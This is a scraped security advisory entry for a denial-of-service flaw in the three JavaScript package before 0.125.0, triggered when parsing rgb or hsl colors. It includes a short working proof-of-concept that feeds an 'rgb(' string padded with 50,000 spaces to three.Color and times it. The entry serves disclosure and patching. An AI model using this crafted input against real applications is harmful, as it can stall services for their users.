Lucene search

K
osvGoogleOSV:GHSA-FQ6P-X6J3-CMMQ
HistoryMar 01, 2021 - 7:57 p.m.

Denial of service in three

2021-03-0119:57:16
Google
osv.dev
4

0.003 Low

EPSS

Percentile

70.5%

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.

PoC:

var three = require('three')
function build_blank(n) {
    var ret = "rgb("
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")
CPENameOperatorVersion
threelt0.125.0

0.003 Low

EPSS

Percentile

70.5%